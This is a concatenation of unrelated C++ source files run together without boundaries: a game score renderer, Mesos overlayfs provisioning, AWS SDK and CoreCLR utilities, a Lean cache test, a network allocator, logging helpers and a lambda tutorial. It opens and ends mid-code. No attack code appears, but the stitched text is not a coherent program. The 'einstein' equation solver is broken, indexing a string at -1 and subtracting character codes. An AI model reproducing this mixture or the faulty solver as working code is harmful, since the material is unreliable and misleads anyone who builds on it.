lengthInput; ++i) { int nextNumber = 16; switch (input.CharAt(i)) { case '0': r.left = WIDTH*0; r.right = r.left + WIDTH; break; case '1': r.left = WIDTH*1; r.right = r.left + WIDTH; nextNumber = 14; break; case '2': r.left = WIDTH*2; r.right = r.left + WIDTH; break; case '3': r.left = WIDTH*3; r.right = r.left + WIDTH; break; case '4': r.left = WIDTH*4; r.right = r.left + WIDTH; break; case '5': r.left = WIDTH*5; r.right = r.left + WIDTH; break; case '6': r.left = WIDTH*6; r.right = r.left + WIDTH; break; case '7': r.left = WIDTH*7; r.right = r.left + WIDTH; break; case '8': r.left = WIDTH*8; r.right = r.left + WIDTH; break; case '9': r.left = WIDTH*9; r.right = r.left + WIDTH; break; case '/': r.left = WIDTH*10; r.right = r.left + WIDTH; break; } matTranslate.SetAsTranslate(pos); GAME_ENGINE->SetTransformMatrix(matTranslate*matView); GAME_ENGINE->DrawBitmap(m_BmpScoreTextPtr,0,0,r); pos.x+= nextNumber; } }Solving_Problems/sp2/main.cpp #include #include #include #include #include #include #include int einstein(std::string equation); int main(int argc, char **argv) { std::string equation; // std::cout << "Gimme the equation you pepega" << "\n"; // std::cin >> equation; equation = "x + 4 = 9"; std::cout << "Thanks for " << equation << "\n\n"; int answer = einstein(equation); std::cout << "Answer: " << std::to_string(answer) << "\n"; return 0; } int einstein(std::string equation){ int switchint; int headint; std::string unknown; bool head = false; int conclusion; std::string parsedString; for(auto letter: equation){ if(!isspace(letter)){ parsedString+=letter; } } // Solving the equation std::cout << parsedString << "\n"; switchint = parsedString[1]; headint = parsedString[-1]; std::cout << switchint << " " << headint << "\n"; conclusion = headint-switchint; return conclusion; } #include #include "wastebox.h" WasteBox::WasteBox( QWidget *parent) : QWidget(parent) { setAcceptDrops(true); setMinimumSize(100, 100); setMaximumSize(100, 100); } void WasteBox::dropEvent(QDropEvent *event) { if (event->mimeData()->hasFormat("data/progitem")) { event->setDropAction(Qt::MoveAction); event->accept(); } else { event->ignore(); } } void WasteBox::dragEnterEvent(QDragEnterEvent *event) { if (event->mimeData()->hasFormat("data/progitem")) event->accept(); else event->ignore(); } void WasteBox::dragLeaveEvent(QDragLeaveEvent *event) { update(this->rect()); event->accept(); } void WasteBox::paintEvent(QPaintEvent *event) { QPainter painter; painter.begin(this); painter.fillRect(event->rect(), Qt::white); QRect highlightedRect= this->rect(); if (highlightedRect.isValid()) { painter.setBrush(QColor("#ffcccc")); painter.setPen(Qt::NoPen); painter.drawRect(highlightedRect.adjusted(0, 0, -1, -1)); } painter.end(); } // Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include #include #include #include #include #include "linux/fs.hpp" #include "slave/containerizer/mesos/provisioner/backends/overlay.hpp" using process::Failure; using process::Future; using process::Owned; using process::Process; using process::Shared; using process::dispatch; using process::spawn; using process::wait; using std::string; using std::vector; namespace mesos { namespace internal { namespace slave { class OverlayBackendProcess : public Process { public: Future provision( const vector& layers, const string& rootfs, const string& backendDir); Future destroy(const string& rootfs); }; Try> OverlayBackend::create(const Flags&) { Result user = os::user(); if (!user.isSome()) { return Error( "Failed to determine user: " + (user.isError() ? user.error() : "username not found")); } if (user.get() != "root") { return Error( "OverlayBackend requires root privileges, " "but is running as user " + user.get()); } Try supported = fs::overlay::supported(); if (supported.isError()) { return Error(supported.error()); } if (!supported.get()) { return Error("Overlay filesystem not supported"); } return Owned(new OverlayBackend( Owned(new OverlayBackendProcess()))); } OverlayBackend::~OverlayBackend() { terminate(process.get()); wait(process.get()); } OverlayBackend::OverlayBackend(Owned _process) : process(_process) { spawn(CHECK_NOTNULL(process.get())); } Future OverlayBackend::provision( const vector& layers, const string& rootfs, const string& backendDir) { return dispatch( process.get(), &OverlayBackendProcess::provision, layers, rootfs, backendDir); } Future OverlayBackend::destroy(const string& rootfs) { return dispatch(process.get(), &OverlayBackendProcess::destroy, rootfs); } Future OverlayBackendProcess::provision( const vector& layers, const string& rootfs, const string& backendDir) { if (layers.size() == 0) { return Failure("No filesystem layer provided"); } Try mkdir = os::mkdir(rootfs); if (mkdir.isError()) { return Failure( "Failed to create container rootfs at '" + rootfs + "': " + mkdir.error()); } const string scratchDirId = Path(rootfs).basename(); const string scratchDir = path::join(backendDir, "scratch", scratchDirId); const string upperdir = path::join(scratchDir, "upperdir"); const string workdir = path::join(scratchDir, "workdir"); mkdir = os::mkdir(upperdir); if (mkdir.isError()) { return Failure( "Failed to create overlay upperdir at '" + upperdir + "': " + mkdir.error()); } mkdir = os::mkdir(workdir); if (mkdir.isError()) { return Failure( "Failed to create overlay workdir at '" + workdir + "': " + mkdir.error()); } // For overlayfs, the specified lower directories will be stacked // beginning from the rightmost one and going left. But we need the // first layer in the vector to be the the bottom most layer. string options = "lowerdir=" + strings::join(":", adaptor::reverse(layers)); options += ",upperdir=" + upperdir; options += ",workdir=" + workdir; VLOG(1) << "Provisioning image rootfs with overlayfs: '" << options << "'"; Try mount = fs::mount( "overlay", rootfs, "overlay", 0, options); if (mount.isError()) { return Failure( "Failed to mount rootfs '" + rootfs + "' with overlayfs: " + mount.error()); } // Mark the mount as shared+slave. mount = fs::mount( None(), rootfs, None(), MS_SLAVE, NULL); if (mount.isError()) { return Failure( "Failed to mark mount '" + rootfs + "' as a slave mount: " + mount.error()); } mount = fs::mount( None(), rootfs, None(), MS_SHARED, NULL); if (mount.isError()) { return Failure( "Failed to mark mount '" + rootfs + "' as a shared mount: " + mount.error()); } return Nothing(); } Future OverlayBackendProcess::destroy(const string& rootfs) { Try mountTable = fs::MountInfoTable::read(); if (mountTable.isError()) { return Failure("Failed to read mount table: " + mountTable.error()); } foreach (const fs::MountInfoTable::Entry& entry, mountTable->entries) { if (entry.target == rootfs) { // NOTE: This would fail if the rootfs is still in use. Try unmount = fs::unmount(entry.target); if (unmount.isError()) { return Failure( "Failed to destroy overlay-mounted rootfs '" + rootfs + "': " + unmount.error()); } Try rmdir = os::rmdir(rootfs); if (rmdir.isError()) { return Failure( "Failed to remove rootfs mount point '" + rootfs + "': " + rmdir.error()); } return true; } } return false; } } // namespace slave { } // namespace internal { } // namespace mesos { /** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include #include #include #include #include using namespace Aws::signer::Model; using namespace Aws::Utils::Json; using namespace Aws::Utils; using namespace Aws::Http; RemoveProfilePermissionRequest::RemoveProfilePermissionRequest() : m_profileNameHasBeenSet(false), m_revisionIdHasBeenSet(false), m_statementIdHasBeenSet(false) { } Aws::String RemoveProfilePermissionRequest::SerializePayload() const { return {}; } void RemoveProfilePermissionRequest::AddQueryStringParameters(URI& uri) const { Aws::StringStream ss; if(m_revisionIdHasBeenSet) { ss << m_revisionId; uri.AddQueryStringParameter("revisionId", ss.str()); ss.str(""); } } 1-10 // This file is a part of Hologine. // // Hologine is a straight-forward framework for interactive simulations, // most notably video games. // // Copyright 2015 . // // For licensing information, review the LICENSE file located at the root // directory of the source package. #include "core/exception.hpp" #include "core/text/unicode.hpp" bool holo::unicode::is_valid_code_point(holo::unicode::code_point code_point) { // The maximum unicode code point is 0x0010ffff. // Surrogates are in the range of 0xd800 and 0xdfff, which makes them invalid // code points for the purpose of text. return code_point <= 0x0010ffff && !(code_point >= 0xd800 && code_point <= 0xdfff); } const holo::exception_code holo::exception::invalid_unicode_lead = holo::exception_code_generator::generate_exception_code("holo_exception_invalid_unicode_lead"); const holo::exception_code holo::exception::incomplete_unicode_sequence = holo::exception_code_generator::generate_exception_code("holo_exception_incomplete_unicode_sequence"); const holo::exception_code holo::exception::overlong_unicode_sequence = holo::exception_code_generator::generate_exception_code("holo_exception_overlong_unicode_sequence"); const holo::exception_code holo::exception::invalid_unicode_code_point = holo::exception_code_generator::generate_exception_code("holo_exception_invalid_unicode_code_point"); #include #include #include using namespace std; int main() { for (int h = 0; h < 24; h++) { cout << h << ":00\n"; } } 1-10 // // Copyright (C) 2000-2020 - , Cog Mine LLC // // Status: Good #ifndef COGS_HEADER_IO_NET_IP_TCP #define COGS_HEADER_IO_NET_IP_TCP #include "cogs/os/io/net/ip/tcp.hpp" namespace cogs { namespace io { namespace net { /// @ingroup Net /// @brief Namespace for IP namespace ip { } } } } #endif src/tests/util/lru_cache.cpp /* Copyright (c) 2014 Microsoft Corporation. All rights reserved. Released under Apache 2.0 license as described in the file LICENSE. Author: */ #include "util/test.h" #include "util/lru_cache.h" using namespace lean; static void tst1(int C = 10000) { lru_cache m_cache(C); for (int i = 0; i < 2*C; i++) { lean_verify(m_cache.insert(i) == nullptr); } for (int i = C; i < 2*C; i++) { lean_verify(*m_cache.insert(i) == i); } lean_assert(m_cache.size() == static_cast(C)); for (int i = 0; i < C; i++) { lean_assert(!m_cache.contains(i)); } for (int i = C; i < 2*C; i++) { lean_assert(m_cache.contains(i)); } m_cache.set_capacity(C/2); lean_assert(m_cache.capacity() == static_cast(C/2)); for (int i = C; i < C + C/2; i++) { lean_assert(!m_cache.contains(i)); } for (int i = C + C/2; i < 2*C; i++) { lean_assert(m_cache.contains(i)); } for (int i = C + C/2; i < 2*C; i++) { lean_assert(*m_cache.find(i) == i); m_cache.erase(i); lean_assert(!m_cache.contains(i)); } lean_assert(m_cache.size() == 0); } static void tst2() { lru_cache m_cache(5); for (int i = 0; i < 10; i++) { m_cache.insert(i); } lean_assert(m_cache.size() == 5); m_cache.clear(); lean_assert(m_cache.empty()); } int main() { tst1(); tst2(); return has_violations() ? 1 : 0; } jpkenny/sst-macro /** Copyright 2009-2021 National Technology and Engineering Solutions of Sandia, LLC (NTESS). Under the terms of Contract DE-NA-0003525, the U.S. Government retains certain rights in this software. Sandia National Laboratories is a multimission laboratory managed and operated by National Technology and Engineering Solutions of Sandia, LLC., a wholly owned subsidiary of Honeywell International, Inc., for the U.S. Department of Energy's National Nuclear Security Administration under contract DE-NA0003525. Copyright (c) 2009-2021, NTESS All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Questions? Contact */ #include #include #include #include #include #include #include #include #include #include #include RegisterKeywords( { "num_groups", "the number of groups to scatter an allocation across" }, ); #include #include namespace sstmac { namespace sw { class GreedyDflyAllocation : public NodeAllocator { public: SST_ELI_REGISTER_DERIVED( NodeAllocator, GreedyDflyAllocation, "macro", "greedy_dfly", SST_ELI_ELEMENT_VERSION(1,0,0), "Allocate a 'striped' dragonfly allocation scattering across groups") GreedyDflyAllocation(SST::Params& params) : NodeAllocator(params) { num_groups_ = params.find("num_groups"); } ~GreedyDflyAllocation() throw () override {} std::string toString() const override { return "greedy dfly allocation"; } /** * @brief allocate * @param nnode * @param available * @param allocation * @return Whether the allocation succeeded based on the available nodes */ bool allocate(int nnode, const ordered_node_set& available, ordered_node_set& allocation) const override { int num_per_group = nnode / num_groups_; if (nnode % num_groups_){ num_per_group++; } hw::Dragonfly* dfly = safe_cast(hw::Dragonfly, topology_); int ng = dfly->g(); int na = dfly->a(); int conc = dfly->concentration(); int num_remaining = nnode; for (int g=0; g < ng; ++g){ int num_needed = std::min(num_remaining, num_per_group); int num_left = num_needed; std::set nodes_this_group; for (int a=0; a < na; ++a){ SwitchId sid = dfly->getUid(a,g); NodeId nid_offset = sid*conc; for (int c=0; c < conc; ++c){ NodeId nid = nid_offset + c; //consider this node for addition to the allocation if (available.find(nid) != available.end()){ num_left--; nodes_this_group.insert(nid); if (num_left == 0) break; } } if (num_left == 0) break; } if (num_left == 0){ //this group has enough to satisfy our request //add the considered nodes to the allocation now num_remaining -= num_needed; for (auto nid : nodes_this_group) allocation.insert(nid); } } if (num_remaining > 0){ //we failed to allocate the right number of nodes allocation.clear(); return false; } else { return true; } } private: int num_groups_; }; } } #include "common.h" #include #include #include #include #include #include #include extern "C" { #include } std::fstream g_log_file; std::string get_time_us() { char t[256]; struct timeval tv; struct timezone tz; struct tm *p; gettimeofday(&tv, &tz); p = localtime(&tv.tv_sec); sprintf(t, "%04d%02d%02d-%02d:%02d:%02d.%06d", 1900 + p->tm_year, 1 + p->tm_mon, p->tm_mday, p->tm_hour, p->tm_min, p->tm_sec, (int) tv.tv_usec); std::string str = t; return str; } std::string get_time_ms() { char t[256]; struct timeval tv; struct timezone tz; struct tm *p; gettimeofday(&tv, &tz); p = localtime(&tv.tv_sec); sprintf(t, "%04d%02d%02d-%02d%02d%02d.%03d", 1900 + p->tm_year, 1 + p->tm_mon, p->tm_mday, p->tm_hour, p->tm_min, p->tm_sec, (int) tv.tv_usec/1000); std::string str = t; return str; } std::string get_time_sec() { char t[256]; struct timeval tv; struct timezone tz; struct tm *p; gettimeofday(&tv, &tz); p = localtime(&tv.tv_sec); sprintf(t, "%04d-%02d-%02d %02d:%02d:%02d", 1900 + p->tm_year, 1 + p->tm_mon, p->tm_mday, p->tm_hour, p->tm_min, p->tm_sec); std::string str = t; return str; } std::string get_time_date() { char t[256]; struct timeval tv; struct timezone tz; struct tm *p; gettimeofday(&tv, &tz); p = localtime(&tv.tv_sec); sprintf(t, "%04d%02d%02d", 1900 + p->tm_year, 1 + p->tm_mon, p->tm_mday); std::string str = t; return str; } //获取Unix时间戳 long get_unix_ts() { time_t t; long ts; ts = time(&t); return ts; } void msg_print(std::string msg) { std::cout << "[" << get_time_us() << "]\t" << msg << std::endl; } void log_init() { //创建log文件夹 create_dir("../log"); std::string log_file_name = "../log/bipc_" + get_time_date() + ".log"; g_log_file.open(log_file_name.c_str(), std::ios::out | std::ios::app); if (g_log_file.good()) msg_print("日志系统初始化完成。"); else msg_print("日志系统初始化失败,程序将在无日志状态下运行。"); } void log_output(std::string msg) { if (g_log_file.good()) { std::string log_msg = "[" + get_time_us() + "]" + msg; g_log_file << log_msg << std::endl; } } bool get_local_ip(std::string dev, std::string & str_ip) { bool result = false; struct ifaddrs * ifAddrStruct = NULL; void * tmpAddrPtr = NULL; getifaddrs(&ifAddrStruct); while (ifAddrStruct != NULL) { if (ifAddrStruct->ifa_addr->sa_family == AF_INET) // check it is IP4 { tmpAddrPtr = &((struct sockaddr_in *) ifAddrStruct->ifa_addr)->sin_addr; char addressBuffer[INET_ADDRSTRLEN]; inet_ntop(AF_INET, tmpAddrPtr, addressBuffer, INET_ADDRSTRLEN); if (dev == ifAddrStruct->ifa_name) { str_ip = addressBuffer; result = true; break; } } ifAddrStruct = ifAddrStruct->ifa_next; } return result; } std::string get_local_ip() { std::string ip_addr="127.0.0.1"; for(int i = 0;i<10;i++) { char dev[10]=""; sprintf(dev, "eth%d", i); if(get_local_ip(dev, ip_addr)) { return ip_addr; } } return ip_addr; } int create_dir(const char *s_path_name) { char DirName[256]; strcpy(DirName, s_path_name); int i, len = strlen(DirName); if (DirName[len - 1] != '/') strcat(DirName, "/"); len = strlen(DirName); for (i = 1; i < len; i++) { if (DirName[i] == '/') { DirName[i] = 0; if (access(DirName, F_OK) != 0) { if (mkdir(DirName, 0755) == -1) { perror("mkdir error"); return -1; } } DirName[i] = '/'; } } return 0; } /*********************进程互斥(用文件)***********************************/ bool is_have_instance() { int file_id = open("./bipc.tmp", O_RDWR | O_CREAT, 0640); if (file_id < 0) { return true; } if (flock(file_id, LOCK_EX | LOCK_NB) < 0) { return true; } return false; } /*********************end**********************************************/ void JpegInitSource(j_decompress_ptr cinfo) { } boolean JpegFillInputBuffer(j_decompress_ptr cinfo) { return TRUE; } void JpegSkipInputData(j_decompress_ptr cinfo, long num_bytes) { } void JpegTermSource(j_decompress_ptr cinfo) { } //JPG解压函数 bool jpeg_uncompress(const char * jpeg_data, int jpeg_size, char *rgb_data, int rgb_size, int w, int h, int c) { struct jpeg_decompress_struct cinfo; struct jpeg_error_mgr jerr; struct jpeg_source_mgr jpegSrcManager; int ret; JSAMPROW rowPointer[1]; cinfo.err = jpeg_std_error(&jerr); jpeg_create_decompress(&cinfo); jpegSrcManager.init_source = JpegInitSource; jpegSrcManager.fill_input_buffer = JpegFillInputBuffer; jpegSrcManager.skip_input_data = JpegSkipInputData; jpegSrcManager.resync_to_restart = jpeg_resync_to_restart; jpegSrcManager.term_source = JpegTermSource; jpegSrcManager.next_input_byte = (unsigned char*) jpeg_data; jpegSrcManager.bytes_in_buffer = jpeg_size; cinfo.src = &jpegSrcManager; jpeg_read_header(&cinfo, TRUE); if (c == 3) cinfo.out_color_space = JCS_EXT_BGR; else if (c == 1) cinfo.out_color_space = JCS_GRAYSCALE; jpeg_start_decompress(&cinfo); if (cinfo.output_width != (unsigned int) w && cinfo.output_height != (unsigned int) h) { jpeg_destroy_decompress(&cinfo); return false; } for (int dy = 0; cinfo.output_scanline < cinfo.output_height; dy++) { rowPointer[0] = (unsigned char *) (rgb_data + w * dy * c); ret = jpeg_read_scanlines(&cinfo, rowPointer, 1); } jpeg_finish_decompress(&cinfo); jpeg_destroy_decompress(&cinfo); return true; } std::vector string_split(std::string str,std::string pattern) { std::string::size_type pos; std::vector result; str+=pattern; int size=str.size(); for(int i=0; idanmosemsft/coreclr // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. // // Utilities used to help manipulating typelibs. #include "stdafx.h" // Precompiled header key. #include "tlbutils.h" #include "dispex.h" #include "posterror.h" #include "ndpversion.h" #define CUSTOM_MARSHALER_ASM ", CustomMarshalers, Version=" VER_ASSEMBLYVERSION_STR ", Culture=neutral, PublicKeyToken=" static const LPCWSTR DLL_EXTENSION = {W(".dll")}; static const int DLL_EXTENSION_LEN = 4; static const LPCWSTR EXE_EXTENSION = {W(".exe")}; static const int EXE_EXTENSION_LEN = 4; const StdConvertibleItfInfo aStdConvertibleInterfaces[] = { { "System.Runtime.InteropServices.Expando.IExpando", (GUID*)&IID_IDispatchEx, "System.Runtime.InteropServices.CustomMarshalers.ExpandoToDispatchExMarshaler" CUSTOM_MARSHALER_ASM, "IExpando" }, { "System.Reflection.IReflect", (GUID*)&IID_IDispatchEx, "System.Runtime.InteropServices.CustomMarshalers.ExpandoToDispatchExMarshaler" CUSTOM_MARSHALER_ASM, "IReflect" }, { "System.Collections.IEnumerator", (GUID*)&IID_IEnumVARIANT, "System.Runtime.InteropServices.CustomMarshalers.EnumeratorToEnumVariantMarshaler" CUSTOM_MARSHALER_ASM, "" }, { "System.Type", (GUID*)&IID_ITypeInfo, "System.Runtime.InteropServices.CustomMarshalers.TypeToTypeInfoMarshaler" CUSTOM_MARSHALER_ASM, "" }, }; // This method returns the custom marshaler info to convert the native interface // to its managed equivalent. Or null if the interface is not a standard convertible interface. const StdConvertibleItfInfo *GetConvertionInfoFromNativeIID(REFGUID rGuidNativeItf) { CONTRACT (const StdConvertibleItfInfo*) { NOTHROW; POSTCONDITION(CheckPointer(RETVAL, NULL_OK)); } CONTRACT_END; // Look in the table of interfaces that have standard convertions to see if the // specified interface is there. for (int i = 0; i < sizeof(aStdConvertibleInterfaces) / sizeof(StdConvertibleItfInfo); i++) { if (IsEqualGUID(rGuidNativeItf, *(aStdConvertibleInterfaces[i].m_pNativeTypeIID))) RETURN &aStdConvertibleInterfaces[i]; } // The interface is not in the table. RETURN NULL; } //***************************************************************************** // Given a typelib, determine the managed namespace name. //***************************************************************************** HRESULT GetNamespaceNameForTypeLib( // S_OK or error. ITypeLib *pITLB, // [IN] The TypeLib. BSTR *pwzNamespace) // [OUT] Put the namespace name here. { CONTRACTL { DISABLED(NOTHROW); // PostError goes down a throwing path right now. Revisit this when fixed. PRECONDITION(CheckPointer(pITLB)); PRECONDITION(CheckPointer(pwzNamespace)); } CONTRACTL_END; HRESULT hr = S_OK; // A result. ITypeLib2 *pITLB2=0; //For getting custom value. TLIBATTR *pAttr=0; // Typelib attributes. BSTR szPath=0; // Typelib path. // If custom attribute for namespace exists, use it. if (pITLB->QueryInterface(IID_ITypeLib2, (void **)&pITLB2) == S_OK) { VARIANT vt; VariantInit(&vt); if (pITLB2->GetCustData(GUID_ManagedName, &vt) == S_OK) { if (V_VT(&vt) == VT_BSTR) { // If the namespace ends with .dll then remove the extension. LPWSTR pDest = wcsstr(vt.bstrVal, DLL_EXTENSION); if (pDest && (pDest[DLL_EXTENSION_LEN] == 0 || pDest[DLL_EXTENSION_LEN] == ' ')) *pDest = 0; if (!pDest) { // If the namespace ends with .exe then remove the extension. pDest = wcsstr(vt.bstrVal, EXE_EXTENSION); if (pDest && (pDest[EXE_EXTENSION_LEN] == 0 || pDest[EXE_EXTENSION_LEN] == ' ')) *pDest = 0; } if (pDest) { // We removed the extension so re-allocate a string of the new length. *pwzNamespace = SysAllocString(vt.bstrVal); SysFreeString(vt.bstrVal); } else { // There was no extension to remove so we can use the string returned // by GetCustData(). *pwzNamespace = vt.bstrVal; } goto ErrExit; } else { VariantClear(&vt); } } } // No custom attribute, use library name. IfFailGo(pITLB->GetDocumentation(MEMBERID_NIL, pwzNamespace, 0, 0, 0)); ErrExit: if (szPath) ::SysFreeString(szPath); if (pAttr) pITLB->ReleaseTLibAttr(pAttr); if (pITLB2) pITLB2->Release(); return hr; } // HRESULT GetNamespaceNameForTypeLib() //***************************************************************************** // Given an ITypeInfo, determine the managed name. Optionally supply a default // namespace, otherwise derive namespace from containing typelib. //***************************************************************************** HRESULT GetManagedNameForTypeInfo( // S_OK or error. ITypeInfo *pITI, // [IN] The TypeInfo. LPCWSTR wzNamespace, // [IN, OPTIONAL] Default namespace name. LPCWSTR wzAsmName, // [IN, OPTIONAL] Assembly name. BSTR *pwzName) // [OUT] Put the name here. { CONTRACTL { DISABLED(NOTHROW); PRECONDITION(CheckPointer(pITI)); PRECONDITION(CheckPointer(wzNamespace, NULL_OK)); PRECONDITION(CheckPointer(wzAsmName, NULL_OK)); PRECONDITION(CheckPointer(pwzName)); } CONTRACTL_END; HRESULT hr = S_OK; // A result. ITypeInfo2 *pITI2=0; // For getting custom value. ITypeLib *pITLB=0; // Containing typelib. BSTR bstrName=0; // Typeinfo's name. BSTR bstrNamespace=0; // Typelib's namespace. int cchFullyQualifiedName; // Size of namespace + name buffer. int cchAsmName=0; // The size of the assembly name. int cchAsmQualifiedName=0; // The size of the assembly qualified name buffer. CQuickArray qbFullyQualifiedName; // The fully qualified type name. // Check for a custom value with name. if (pITI->QueryInterface(IID_ITypeInfo2, (void **)&pITI2) == S_OK) { VARIANT vt; // For getting custom value. ::VariantInit(&vt); if (pITI2->GetCustData(GUID_ManagedName, &vt) == S_OK && vt.vt == VT_BSTR) { // There is a custom value with the name. Just believe it. *pwzName = vt.bstrVal; vt.bstrVal = 0; vt.vt = VT_EMPTY; goto ErrExit; } } // Still need name, get the namespace. if (wzNamespace == 0) { IfFailGo(pITI->GetContainingTypeLib(&pITLB, 0)); IfFailGo(GetNamespaceNameForTypeLib(pITLB, &bstrNamespace)); wzNamespace = bstrNamespace; } // Get the name, and combine with namespace. IfFailGo(pITI->GetDocumentation(MEMBERID_NIL, &bstrName, 0,0,0)); cchFullyQualifiedName = (int)(wcslen(bstrName) + wcslen(wzNamespace) + 1); IfFailGo(qbFullyQualifiedName.ReSizeNoThrow(cchFullyQualifiedName + 1)); ns::MakePath(qbFullyQualifiedName.Ptr(), cchFullyQualifiedName + 1, wzNamespace, bstrName); // If the assembly name is specified, then add it to the type name. if (wzAsmName) { cchAsmName = (int)wcslen(wzAsmName); cchAsmQualifiedName = cchFullyQualifiedName + cchAsmName + 3; IfNullGo(*pwzName = ::SysAllocStringLen(0, cchAsmQualifiedName)); ns::MakeAssemblyQualifiedName(*pwzName, cchAsmQualifiedName, qbFullyQualifiedName.Ptr(), cchFullyQualifiedName, wzAsmName, cchAsmName); } else { IfNullGo(*pwzName = ::SysAllocStringLen(qbFullyQualifiedName.Ptr(), cchFullyQualifiedName)); } ErrExit: if (bstrName) ::SysFreeString(bstrName); if (bstrNamespace) ::SysFreeString(bstrNamespace); if (pITLB) pITLB->Release(); if (pITI2) pITI2->Release(); return (hr); } // HRESULT GetManagedNameForTypeInfo() #include "dbotpitem.h" DBOtpItem::DBOtpItem() { setID("DBOtpItem"); } DBOtpItem::DBOtpItem(const QJsonObject &obj) { //Retrieve seed _seed = obj.value("Seed").toString(); _isExpirable = obj.value("IsExpirable").toBool(); _expires = QDateTime::fromString(obj.value("DateTime").toString()); setID(obj.value("ID").toString()); setRow(obj.value("Row").toInt()); } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /// PUBLIC // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// QString DBOtpItem::getValue() const { return _seed; } QJsonObject DBOtpItem::toJson() const { QJsonObject obj; obj.insert("Seed", _seed); obj.insert("IsExpirable", _isExpirable); obj.insert("DateTime", _expires.toString()); obj.insert("ID", getID()); obj.insert("Row", getRow()); return obj; } void DBOtpItem::setExpireDate(const QDateTime &datetime) { _expires = datetime; } QDateTime DBOtpItem::getExpireDate() const { return _expires; } void DBOtpItem::setExpirable(bool isExperiable) { _isExpirable = isExperiable; } bool DBOtpItem::isExpirable() const { return _isExpirable; } void DBOtpItem::setSeed(const QString &seed) { _seed = seed; } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /// PUBLIC // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright 2016-2017 . All Rights Reserved. // File: ShaderGraphAssetLoader.cpp #include "Asset/ShaderGraphAssetLoader.h" namespace Enjon { //================================================================================= void ShaderGraphAssetLoader::RegisterDefaultAsset( ) { // Create new graph and compile Enjon::ShaderGraph* graph = new Enjon::ShaderGraph( ); graph->mName = "DefaultShaderGraph"; graph->Compile( ); // Set default mDefaultAsset = graph; } //================================================================================= Asset* ShaderGraphAssetLoader::LoadResourceFromFile( const String& filePath ) { ShaderGraph* graph = LoadShaderGraphFromFile( filePath ); // If valid, then register graph and return if ( graph ) { return graph; } // Otherwise return default return nullptr; } //================================================================================= ShaderGraph* ShaderGraphAssetLoader::LoadShaderGraphFromFile( const Enjon::String& filePath ) { ShaderGraph* graph = new Enjon::ShaderGraph( ); // Create from filepath s32 status = graph->Create( filePath ); if ( status != 1 ) { // There was an error delete graph; return nullptr; } return graph; } //================================================================================= String ShaderGraphAssetLoader::GetAssetFileExtension( ) const { return ".eshg"; } //================================================================================= } rostislav-nikitin/edu.cpp // Single-line comment /* * Multiple line comment */ #include #include using namespace std; //using Comparator = bool (*)(int, int); template void sort(T (&arr)[size], C &comp) { for(int i = 0; i < size; ++i) { for(int j = 0; j < size - i - 1; ++j) { if(comp(arr[j], arr[j+1])) { T temp = std::move(arr[j]); arr[j] = std::move(arr[j+1]); arr[j+1] = std::move(temp); } } } } template void show(T (&arr)[size]) { cout << "{"; for(int i = 0; i < size; ++i) { cout << arr[i] << " "; } cout << "}" << endl; } template void for_each(T (&arr)[size], Callback operation) { for(int i = 0; i < size; ++i) { operation(arr[i]); } /* for(auto &item : arr) { operation(item); } */ } bool comp_asc(int x, int y) { return x > y; } bool comp_desc(int x, int y) { return y > x; } struct Comp { int call_count = 0; bool operator()(int x, int y) { ++call_count; return x > y; } int get_call_count() { return call_count; } }; template struct __Unnamed { T offset; __Unnamed(T offset) : offset{offset} { } void operator() (T &x) //const { cout << "Offset=" << offset << endl; x += offset++; } }; class Product { string name; float price; public: Product(const string &name, float price) : name{name}, price{price} { } void assign_final_price() { float taxes[] { 12, 5, 5 }; float base_price { price }; for_each(taxes, [base_price, this](float tax) { float taxed_price = base_price * tax / 100; price += taxed_price; }); } float get_price() const { return price; } }; int main() { //Generalized lambda capture // Trivial usage: int x {5}; auto f = [y=x] (int args) { return y + args; }; cout << f(11) << endl; // Usage: std::ofstream out {"./file.txt"}; auto write = [out=std::move(out)](auto value)mutable { out << value << endl; }; write(255); return 0; } int old_main_5() { //int i = i5; // Lambda will be converted into the function pointer. Require empty capure list otherwise will no converted. atexit([]() { std::cout << "Program is exiting ..." << endl; }); return 0; } int old_main_4() { cout << [](int x) { return [](int x) { return x; }(x * 2); }(10) << endl; return 0; } int old_main_3() { Product p {"Watch", 500}; p.assign_final_price(); cout << p.get_price() << endl; return 0; } int old_main_2() { int arr[] {1, 6, 8, 4, 0}; int offset = 5; //for_each(arr, 